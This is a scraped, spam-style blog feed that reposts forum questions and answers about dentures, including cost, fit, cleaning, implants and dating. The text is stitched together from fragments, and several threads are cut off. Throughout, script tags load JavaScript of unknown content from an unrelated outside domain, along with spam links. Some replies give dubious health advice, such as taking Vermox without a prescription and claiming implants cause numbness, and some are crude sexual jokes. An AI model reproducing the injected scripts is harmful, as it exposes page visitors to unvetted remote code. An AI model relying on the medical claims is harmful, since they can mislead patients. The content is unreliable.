They are not pre-fabricated. Price varies with each dentist, you should discuss this with your dentist or for a referral if he doesn't do denture work.<br>Reply:I wouldn't think so. You have to have them specially made to fit your mouth.<br>Reply:I usually just pick mine up from funeral homes.<br>Reply:fake dentures tht is<br>Reply:Hi,I have a friend in Wales who buys hers.Look in yellow pages %26amp; Good Luck<br>Reply:my jeweler makes all sorts of "grilles" out of gold silver, with diamonds etc...<br><br /><br />contact a jeweler<br><br /><br />also if you go across the border into Mexico you can get a full set of dentures for $100-$300 %26amp; they are just as good as what you get in the states that are 10x the cost<br>Reply:You have to get them from a dentist. They pull your teeth and then put the new ones in. They have to be made just for you.<br>Reply:to have a set of dentures made it takes 4 visits and the denture fit you and you only. if you buy them from somewhere and they have don't been made to fit you you can end up with all different things. <br><br /><br />dentures and made to fit around you gums and this is done by the size and shape of you mouth as everyone is different, they also have to fit your bite if this is wrong you can end up with pain in your jaws.<br><br /><br />on the NHS dentures will cost you just under £200. <br><br /><br />please go to the dentist <br><br /><br />billie RDN<br>Reply:Never heard of over the counter false teeth hun. I had some dentures made about 5 years ago not on the nhs, and they were about £400. Why not try a teaching dental hospital, they may do them for you for free or for minimal charge.<br><br /><br />If you work, but get working tax credits then you get free dental treatment, including dentures.<br><br /><br />NHS dentures are just as good as private made ones, if that is a concern for you.<br><br /><br />Mine now are NHS ones and they are just fine.<br>Reply:A shop???? What kind of shop??? A chop shop??? A gift shop???<br><br /><br /><br><br /><br />Would you get a heart transplant at your local 7-eleven?<br><br /><br /><br><br /><br />This is your health that you are talking about. You need to be concerned about function (being able to actually chew) along with appearance. If you value your health at all get the procedure done correctly by a dental health professional.<br><br /><br /><br><br /><br />Of course if this is no value to you then you can always go toothless. Good luck with that!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-51596840374670322172010-05-21T20:30:00.001-07:002010-05-21T20:30:27.718-07:00Am I safe to use tap water in Mexico to clean dentures?I'm going to Mexico on vacation soon, specifically to Cozumel. I've been there before so I know we will be provided with a bottle of purified water in the bathroom. I recently had to have dentures fitted and I have found that warm water is best for cleaning the denture adhesive off the false teeth. When I go to Cozumel am I ok to use the warm tap water to clean the dentures as long as I rinse them with mouthwash afterwards? Or should I stick to the purified water provided. I don't want to get any nasty tummy bugs, managed to avoid them last time we were there<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Am I safe to use tap water in Mexico to clean dentures?<br>It all depends on where you STAY! If you're staying at a budget property, then yes, use bottled water. If you're staying at a resort or high end hotel, then most likely all the water is ran through a filtration system. You should simply ask the hotel staff. When I send my clients (I own a travel agency) to Mexico, it is normally to all-inclusive resorts. At these types of properties they have filtration and purification systems for even the tap water. So in these cases, there are no problems. In all of the times I have went down to these resorts I recommend, I have used and drank the water, and it is fine. The best thing to do is just ask the staff/manager if the water is filtrated or purified. You can find out travel related information from my company's website at http://readyforvacation.com also our company just started a FREE Travel Forum. So, check it out. Hope this helps you and others.<br>Reply:you were lucky last time. i would avoid drinking the water or using the water even to clean your dentures. warm the bottled water in a microwave. i got sick when i went to mexico. i used the tap water to brush my teeth. i also ate everything in sight, including the food @ the outdoor market places. i was loving it for a couple days and then it was over. i was drinking pepto for a week AFTER i came home. better safe than sorry!<br>Reply:girl I'm from cancun and that is false. ok You look for a good water like: bonafont, electropura, cristal, and more. are good.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://computer.imwebhost.com/jsp/>jsp</a>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-88829638432648635062010-05-21T20:30:00.000-07:002010-05-21T20:30:11.397-07:00I am 35 yrs old and I'm scheduled to get dentures this month, I have 2 questions?I finally got Dental coverage this month and I'll be getting dentures before the 1st of the year. I have a gum disease that has caused 75%of my teeth to go bad. I have always practiced good hygiene but the Dentist says that all my teeth have got to go. We discussed implants but they are way out of my price range. <br><br /><br /><br><br /><br /> My 1st question is what can I expected from here on out ? <br><br /><br /><br><br /><br />And 2nd I have two gold teeth. When my teeth started to break I didn't have any insurance and could not afford crowns so I got gold instead . What I would like to do is see if the Dentist can remove the gold and put them on the same two teeth on the dentures ? No, I'm not trying to be cool, I just want people to not notice immediately that I have dentures. Call me vain, but I am a young looking 35 yr old female and I really am stressed about this . HELP !<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>I am 35 yrs old and I'm scheduled to get dentures this month, I have 2 questions?<br>SHELIA I HAVE THE SAME PROBLEM AND I'M 38 I'M GETTING MINE . I RATHER HAVE NICE LOOKING TEETH THEN THESE RAGEDY LOOKING ONES THAT I HAVE<br>Reply:Q #1: Below is a great link to everything you might need to know about dentures. It's from my favorite site. Hope this helps.<br><br /><br />http://www.simplestepsdental.com/SS/ihtS...<br><br /><br /><br><br /><br />Q #2: You have every right to ask this. I don't know if they can put the gold in the acrylic teeth (which denture teeth are). You may be charged extra by the dentist because they may get charged more by the dental laboratory. I don't think anyone will notice unless you point it out...if they do they just might think you got a porcelain crowns instead. But you can at least recieve the gold (for it is yours) and make a nice necklace out of it.<br>Reply:First of all it's going to be painful in the beginning from the extractions and getting used to the dentures.<br><br /><br /><br><br /><br />Second, people are going to notice immediately that something's up because you're going to have perfect teeth all of a sudden. You are going to sound different during the adjustment period and your teeth will stand out.<br><br /><br /><br><br /><br />Don't trip. A close member of my family had the same thing done for similar reasons when she was about the same age and she's in her 70's now. No one really cared about the dentures.<br>Reply:I wouldn't think you're vain if you're 35 and willing to sport dentures. Real vain people would whore themselves out for a nice set of teeth.<br><br /><br /><br><br /><br />Anyway, gold teeth? That's kind of tacky.<br>Reply:You may want to get a 2nd opinion with another dentist who can counsel you so that you feel comfortable with your decision. My sister had to have false teeth at 16 yrs old and everything worked out OK for her. Don't worry about what people think. Do what you want to do and do it for yourself. At 35 you are still very young and deserve to look nice and your teeth are an important part of that look. I wish you good luck on this and good for you. Go Girl<br>Reply:hello sheila !<br><br /><br /> <br><br /><br /> u r history suggests that u suffered from chronic generalised periodontitis dut 2 which u have lost u r teeth , this happened jsut b'coz of simple thing but major source behind ur problem that wasb'coz of calculus hwich ahs eaten away ur bone , see to that ur brush morning anf evening ata the same time use chlorhexidine 0.2% mouth wash b'4r or after tooth brush twice daily in th emorning and evening before catching sleep, this will prevent plaque formation and theres no way calculus can form , thats how u can save u r rest of ur teeth <br><br /><br /> <br><br /><br /> once u start wearing ur dentures , these r the some instructions to follow :<br><br /><br /> once the dentures delivered , learn the correct patheay of insertion and removal ,s o that it doesn't hurt u r tissue<br><br /><br /> wear dentures for 1 week , review to ur dentist after a week , to check for sore spots .<br><br /><br /> remove ur dentures at night times before catching sleep , this will make ur tissues to have adequate blood supply . <br><br /><br /> when dentures r out from ur mouth they should b kept in water and cleansed throroughly with softbrush with any tooth pastes.<br><br /><br /><br><br /><br /><br><br /><br /> and secondly ur 2 tooth has got gold fillings , u were not clear whter u had a gold fillings or gold crown ( i'm sorry if i 'm not clear with ur question ) any ways i 'll give u solution for both of them . if its a case of gold filling it can be removed and repalce with either composites or get the tooth extracted and get it repalced , mind u if ur dentist has planned to get support of ur dentures from those gold teeth , ur dentist is the right person for ur solutions . don't worry every thing is possible in this dentistry <br><br /><br /><br><br /><br />Dr. srikanth , any queries u can mail me<br>Reply:Wearing dentures is not easy at first, patients have trouble talking with them in and gums shrinking where the dentures become loose. Also sore spots appear from time to time and will need to have them adjusted a few times. The gold teeth are kind of outdated and does not look too good. But if you go with the regular teeth people will think you had them changed to porcelain crowns, they will not automatically think you have dentures. If you still want the gold the doctor can order 2 gold teeth to but on the denture to look just like you have now. No one will know the difference.<br>Reply:Just a thought... They will take an impression of the gums after extraction but I know people whose teeth were differently sized than the dentures they received... Ask them to take an impression 'before' extraction so they can match your real teeth... and get an extra one casting of real teeth for you to keep because they will throw it away when they are done.<br><br /><br />I'm sure they will charge you for it but isn't keeping the same 'look' more important?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-16215989751656669052010-05-21T20:29:00.003-07:002010-05-21T20:29:55.448-07:00Taking a breathalyzer while wearing partial dentures.?My friend got pulled over and took a breathalyzer and failed.

Unless the dentures are made correctly getting use to them is impossible. Often this is the case especially the lowers. When I was in need of something done drastically I looked at all options. I was wearing a the time a dental partial or flipper as they sometimes call it. I hated how the food would go immediately under it and often a trip to the restroom had to take place before i could finish a meal. I did some research and found out that once the teeth are gone that the bone in the jaws will begin to deteriorate. This is a fact. That is why I opted instead of dentures I got dental implants. Even if you can afford at least 2 which is the minimum will save your bone. Plus the denture they make will snap onto the implants making having to learn to use them a piece of cake. They are secure and do not move (no glue is needed)<br><br /><br /><br><br /><br />See my avatar? That is my new smile. I have 8 implants on the top and 6 on the bottom.

It helps the dentures fit better. And yes people of all ages get dentures, the youngest is like 7 years old or something, he didn't have any teeth when he was born, so he had to go the denture route.<br>Reply:Of course you have to have your teeth pulled first. You are better off getting dentures at the same time, your gums are still soft %26amp; you end up with a better fit. The Dentist sticks some thick paste on a tray and seats it over your exposed gums to make an impression. With a good fit the dentures remain in place by a vacuum. As your gums receed over time, you need a realignment or PolyGrip. Anybody that has lousey permanent teeth can get dentures, a cheaper way than multiple crowns,etc.<br>Reply:with dentures all teeth doees not have to be pulled and not only ''old people'' have them if your gigiva tissue has receeded or you have bad paradontal desiese witch is just nothing you can do about you or i can get it but measures can be taken before you have to result in dentures. their are other ways to have ""dentures other than that plastic peace that everyone has a mith about their are new persedures that can be done mimmal to no pain<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://wedding-slippers.blogspot.com/>wedding slippers</a>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-81582537815353461772010-05-21T20:28:00.002-07:002010-05-21T20:28:33.779-07:00Am I safe to use tap water in Mexico to clean dentures?I'm going to Mexico on vacation soon, specifically to Cozumel.

When I go to Cozumel am I ok to use the warm tap water to clean the dentures as long as I rinse them with mouthwash afterwards? Or should I stick to the purified water provided. I don't want to get any nasty tummy bugs, managed to avoid them last time we were there.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Am I safe to use tap water in Mexico to clean dentures?<br>I live in Playa del Carmen. We are told that the tap water is clean, and I brush my teeth with it. I never drink it, though. There is a product you can get to purify water , called bactericide that you can get in most Walmart-like stores. It comes in a little bottle and would be easy to travel with. You might bring it with you and put your dentures in a glass with water and a few drops of that after you wash them in warm tap water. And while you are here, if you worry about tummy bugs, pick up Vermox tablets in a drug store here. You don't need a prescription. When you get home, take both tablets at once. Kills amoebas and other bad bugs. Have a great trip!!<br>Reply:Well, I'm from Mexico City and whenever I visit I use tap water to rinse my mouth guard and brush my teeth and nothing's ever happened to me nor anyone I know.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-77110106589759265492010-05-21T20:28:00.001-07:002010-05-21T20:28:18.055-07:00Does anyone know what implants over dentures are? What do thry mean?Don't they have to take your dentures off to put implants in? Is this something new and does it feel and look good? What about the expense? Is it less than implants?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Does anyone know what implants over dentures are? What do thry mean?<br>Typically, a patient will have several dental implants placed into the jaw. Usually 2-6 implants will be placed (surgical procedure, implants screwed into bone)and allowed to heal for a period of 1-6months depending on the condition of the patients bone, there overall health and ability to heal. Once fully healed the implants are now fixated in the jaw and ready to anchor the denture. Depending on the number of implants placed, a denture can be made to clip into the individual implants, or a metal bar can be fabricated and attached inbetween the implants and the denture then fabricated to fit over the metal bar (Hadder bar) The hadder bar is typically more stable and provides more supprot for the denture, however it comes at a price. Usually, a minimum of four implants will be required, whereas with the "snap" to each implant option would only really require two implants. <br><br /><br />If there is already a preexisting denture, many times it can be retrofit to the implants especially if there is no hadder bar. If there is going to be a bar between implants then more than likley you will need an intirely new denture to complete the process. <br><br /><br />Overall nice way to go, 4-6 implants with a hadder bar. Youll be tearing into apples and corn on the cob, but I didnt say that!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-64725246017455880092010-05-21T20:28:00.000-07:002010-05-21T20:28:03.179-07:00What is the infamous surf break in Maui known as?

I have to wait until February for the gums and bone to heal before I get the bottom partials. I was fine until later in the evening on Friday when my gag reflex started going so I had to take them out. However when sleeping I didn't notice them. I have tried many times in the last 2 days to deal with the issue and it seems to be getting better, but my gums are still sore and trying to talk with them makes me sound funny.

Better to have it done now then wait. In phoenix the upper denture cost about $1500.00 and lower partial about $700.----$1200. depending on if you want metal or what they call a "soft partial" made of acrillic. Then too, you can go to Nogales for about half that price or less. I hear they do just as good of work as here. Just have to find the right dentist. Good luck<br>Reply:whatever you do, if at all possible, have a lower partial rather than a complete lower denture. The full lowers are terrible in terms of effectiveness- even if the partial only lasts a few years BEFORE going to a complete lower, it's a good investment!<br>Reply:You will definitely want to look into a discount dental plan. Most insurances annual caps are just insufficient for you. Find a plan with no limits, no waiting periods, and best savings, and make<br><br /><br />sure they have dentists near you, or at least in Tucson.

You put one finger at the base of each clasp and pull up (or down, depending if it's on the upper jaw or lower jaw). The denture has a "path" that it is designed to follow when it's put into or removed from the mouth, and it will just slide out once the clasps are released.<br><br /><br /><br><br /><br />If your aunt dropped her partial the last time she took it out, the metal clasps that hold the denture in could have gotten bent, and she may need to see her dentist to have the denture removed and have the clasps readjusted. If a cavity has developed in one of the clasped teeth, the clasp can get hung up in a little indentation in the tooth and can't be removed without damaging the tooth. <br><br /><br /><br><br /><br />At any rate, if you can't help your aunt remove her partial, call her dentist, and they can arrange for her to come in. It is a 10 minute appointment to remove the denture and adjust the clasps.<br>Reply:If this is a new partial she may need to work with it some or even go back to the dentist office so they can help her. There is usually a "combination," such as the clasp on the left, or the one on the right side, slips up "first," then they will lift out. Just have her relax and have a cup of coffee, the heat helps to loosen them. Sometimes patients get nervous and it makes it even harder for them to remove them. So tell her to relax with the coffee or something hot to drink and try again, she will get them out eventually but don't stress over it, there is always help if needed.<br>Reply:It is easiest to use your fingernail over the clasp and pull down. Usually partials have a certain way to go in and come out. one side may want to come out first. If nothing helps she will need to see her dentist.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-61657116277840364772010-05-21T20:26:00.000-07:002010-05-21T20:26:11.356-07:00Root canals and caps, or dentures?my dentist says she can save my teeth if i get two root canals and two caps, bc i have excellent root structure. my wife is urging me to just get them pulled, and get partials or full dentures. who should i listen to?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Root canals and caps, or dentures?<br>i would go with what dentist think is the best!

It keeps the mouth and gums in a healthier state. <br><br /><br /><br><br /><br />Unless, of course, you have grandchildren you want to scare by taking out your dentures...<br>Reply:With root canals and caps you will not feel the difference with regular teeth but they are pricey.<br><br /><br />If you remove them and get partials there will always be some discomfort it will not be the same as repairing the existing ones.<br><br /><br />I had 4 root canals and caps and I canot tell the difference between them and my other teeth.<br>Reply:U will be better of if u give more weight to what ur doc says. The feeling is much better after treatment. Dentures will always be poorer in fitting and may even break. Feeling of foreign material is also not very comforting when u use dentures.<br>Reply:Of course, the goal is usually to save natural teeth.<br><br /><br /><br><br /><br />But...!<br><br /><br /><br><br /><br />Have you considered implants? I have two, and they are superb. They might as well be real; after all, they are rooted in my jawbone, just as natural teeth are.<br>Reply:I had two root canals and two caps. I don't have to worry about a thing, they're just teeth. I take care of them like the rest. I never have to take them out and fuss over them. Bad enough I need glasses to read, I want to eat without having to think about it.<br><br /><br /><br><br /><br />So what's this deal with your wife? Does she begrudge you the money it will cost in order to eat comfortably? Or are you not telling us the whole story? Are these two teeth of the last five you have and she wants to see you with a full set again?<br>Reply:Too difficult to tell here as there are many variables.<br><br /><br />Get a full costing. Then take copies of Xrays and seek a second opinion from another dentist or more (recommended by friends or workmates).<br><br /><br />Big decisions require careful thinking and lots of info.<br>Reply:Some people still believe root canals cause all their health problems, and that's it better to extract perfectly recoverable teeth. Root canals work, and it's always better to get them instead of anything else if the teeth allow for it. There is always the risk it might fail, but the risk is very small.<br><br /><br /><br><br /><br />I would suggest you read the following web page:<br><br /><br />http://www.doctorspiller.com/root_canals...<br><br /><br /><br><br /><br />"The eventual unfavorable reaction to the "orgy" of dental extractions and tonsillectomies that were advocated by the proponents of the theory eventually undermined the trust of the population."<br>Reply:Saving the teeth would be the optimal answer.

Or does it even make any difference?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Do gums shrink faster wearing dentures or going toothless?<br>When your teeth are pulled, the alveolar bone, (the supporting bone) really has no purpose left, and goes away. When the bone goes away, it looks like the gums are going away. <br><br /><br /><br><br /><br />Wearing dentures or not wearing dentures has nothing to do with the bone level in your mouth.<br><br /><br /><br><br /><br />Personally, if one of my patients talks about 'I might as well get dentures" I try to talk them into keeping as many natural teeth as possible. The dentures need that supporting bone to keep them in place, and over time, if no natural tooth or an implant is not in place, the bone is going to shrink, and one will end up having to pay money to buy denture adhesive and/or pay to get the dentures relined or get new ones all together for that proper fit. If there isn't any proper fit, that can cause a bunch of problems all together, with chronic irritation to the tissue in the mouth, etc. <br><br /><br /><br><br /><br />I will make a suggestion: Please soak the dentures at night. Your mouth does need a break once a day from the dentures. Don't be afraid of brushing your dentures with a denture brush. I have had patients that had build up on their dentures and I had to use some of my instruments to pick at it. <br><br /><br /><br><br /><br />In dentistry, an ounce of prevention is worth a pound of cure (Or thousands of dollars!!)<br>Reply:Once ur teeth r gone, ur gums start to resorb and dentures can make it disappear faster.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-25061643321440325632010-05-21T20:25:00.002-07:002010-05-21T20:25:40.844-07:00Is it normal to have excess saliva while dentures are out?I am a new denture wearer, and I know in the beginning people say you experience excess saliva with the dentures in, but I notice it while they're not in my mouth.

My teeth are just brittle and now the crowns are starting to loosen. I am seriously thinking about dentures. My question is: Will they look like my normal teeth used to look or will they make me look totally different. I don't want it to be obvious to everyone and I don't want it to change my appearance other than just having pretty white teeth. Any advice or info?? I'm scared to do it, but I'm tired of constantly worrying about my teeth.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>I am thinking of getting dentures and have a question?<br>PLEASE, DO NOT get dentures. They might look like real teeth to many, but savvy eyes will always spot that they're fake. Dentures will make ur breath bad and your sense of taste different. They will make ur face lose verticle dimension and make u age years in only a short time. Lower dentures only stay upright by virtue of ur tongue and their own weight so many wear them only when they go out. Also, there r plenty of ppl who can't stand their dentures so they go toothless instead bc a lot of times it will hurt 2 chew w/ them, your standard of living will most certainly go down if u get them. Plus u will only be able 2 chew w/ 10% of the force of ur natural teeth, so say goodbye 2 nuts, carrots, etc. <br><br /><br /><br><br /><br />I don't have dentures personally, but have thought about getting fake teeth 2 bc I also have crowns and they truly r a pain in the butt in terms of cost and the constant worry that they might fall out, but after I researched a bit I found out that it's a a COMPLETE MYTH that dentures will give u "perfect" teeth.<br>Reply:Sorry, but I don't do emails bc of security reasons. But If I were u, I'd get removable partial dentures or a bridge if ur original teeth r missing. Whatever u do though, DO NOT get implants bc they sometimes result in total numbness of part of ur face! <span>Report It</span><br /> <br>Reply:Dentures tend to look like dentures, your caps should last longer than 8 years. If you have the funds you might consider the screw-in type of replacement teeth.<br>Reply:aint nothin' like a toothless woman!!!!!!yu will be popular!!!just make sure people dont see yu without teeth!!<br>Reply:With the help of your dentist, you can pick out the shape and shade of the teeth that will be in your denture. My advice to you is, try to keep as many teeth as possible on the bottom. Lower dentures never fit that great, they feel like they "float".<br>Reply:i was so worried about that to!!! i wanted my face to stay the same. we took a picture how i looked after my braces and the dentist did what he could to match!!! and i look like i did after dentures and im quite happy!!!<br>Reply:they can make a molding of your teeth now to where it looks natural..but i think that is your best bet..so don;t be scared my mom had to do the same and she is alot healther and happyer to..i will pray for you<br>Reply:Dentures are not problem free!!! They are not Cheap either, they can cost lots of $$$. <br><br /><br /><br><br /><br />There are some set-backs to them; Keeping them in place, sores from the rubbing or adhesive used, forgetting were you placed them, and if you drop them they break, sometimes the "teeth" can come off, etc.. <br><br /><br />You will need to be careful with what you eat!<br><br /><br /> Discus it with your dentists! Tell him what you are thinking of having done. Have him show you some dentures like the ones you would get if you go forward with it. Get the exact cost and the replacement cost!! Ask him how ofter do other people need them replaced!! What is the average financial expense? <br><br /><br /><br><br /><br />Having as much of your own healthy teeth is always better.<br><br /><br /><br><br /><br /> Smile! <br><br /><br /> Good Luck<br>Reply:~~~ your crowns should last more than 8 years,,,I would suggest haveing your Dr reprep your teeth,,,have new crowns made. Its important to have your teeth as long as you can to keep your facial structure. consult your dentist with that. ~~~<br>Reply:Instead of dentures, you can consider implants. They cost more, involve more work, but the results are amazing. Ask your dentist.<br>Reply:I ended up getting upper dentures about five years ago. Compared to the teeth that I had, I am so pleased with them. That said, I do want to mention that having dentures is not the same as having real teeth. The first few weeks you have to learn how to talk again, and chewing is very different. You also have a mouth that is always full, since and upper denture is large and covers the roof of your mouth as well as your outer gums.<br><br /><br /><br><br /><br />I do not regret getting my dentures. My teeth look so much nicer now. I did not have the income to fix my teeth at the time, and they were so brittle a french fry cracked one tooth in half. <br><br /><br /><br><br /><br />I will avoid getting lower dentures for as long as I can, and if I do have to get them later in life, I will try to get partials. Having uppers, I can see how lowers can be difficult to fit properly.<br><br /><br /><br><br /><br />In the end it is a personal choice though, but make sure you think the whole thing through.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-88055568151599244952010-05-21T20:25:00.000-07:002010-05-21T20:25:07.283-07:00Is there a product out that to whiten dentures?My Moms dentures do not have that porcelain look, they once had.

I am still dating and I am not sure if I should tell my dates I have dentures. Seriously I am so scared of this.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>How do I tell a guy I have dentures or should I not?<br>How old are you? I do not think this would be a problem with someone who cared about you.<br>Reply:I wouldn't tell until things got serious.<br>Reply:I would not tell them on the first date or even the second. How about wait to see how you feel about the person after you get to know them? If they are worth your time, they will not care.<br>Reply:Why tell?<br>Reply:oh wow i'd be scared too! But my aunt had them at a young age adn she did ok so no worries, if he truly loves you it's no big deal, so don't worry<br>Reply:Don't tell unless it gets really serious.<br>Reply:You don't have to tell him. Do you plan on taking them out and passing them around? Then no, don't tell him if you aren't comfortable with it. That is your personal info, and you don't owe anything to anyone.<br>Reply:Don't worry about it unless it seems really necessary to tell them...<br>Reply:that should be your secret no body has to know..if you end up getting serious with someone then i doubt that will become an issue with them...happens to the best of us sister<br>Reply:Depends on the relationship. If you are serious, then of course it will eventually be found out. Its up to you if you want him to find out through your honesty or find out by accidental reasons, like they fall out or he sees them soaking in the bathroom or something. If the relationship is just short lived, I say don't worry about it until it gets more serious. Good Luck!<br>Reply:let him find out when you go down on him by dropping them in a glass of water before the fun starts<br>Reply:Don't say anything. My friend just got them. She said that an added bonus is you can slip them out and give a fantastic BJ!<br>Reply:ya know-- i would be nervous about that too if it were me--how about---see if this guy is still around in about 6 months if so say hey look i have dentures--hope you dont mind---<br><br /><br />good luck<br>Reply:Yes, tell them, but do it in a smart way. I can't tell you what's best, but I dated a guy who told me on our way to the car, leaving for dinner one night, when he'd forgotten his wallet or something in the house. "I hate when I forget stuff!" he said, "Like my briefcase in the morning, or to feed the cats, or to put in my teeth." I nearly died. It happens that people have bridges and dentures, but most young people don't. So be prepared that some people might be a little freaked out. Good luck, girl!<br>Reply:I have full uppers and it hasn't slowed me down a bit. People close to me know, the rest, it's none of their busines.<br><br /><br /><br><br /><br />You will be able to give amazing BJs!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Altonhttp://www.blogger.com/profile/04979931349542933559noreply@blogger.com0tag:blogger.com,1999:blog-1043925749964085143.post-1796508935491558462010-05-21T20:24:00.002-07:002010-05-21T20:24:35.454-07:00Where can I get affordable dentures in the Oroville, CA area?
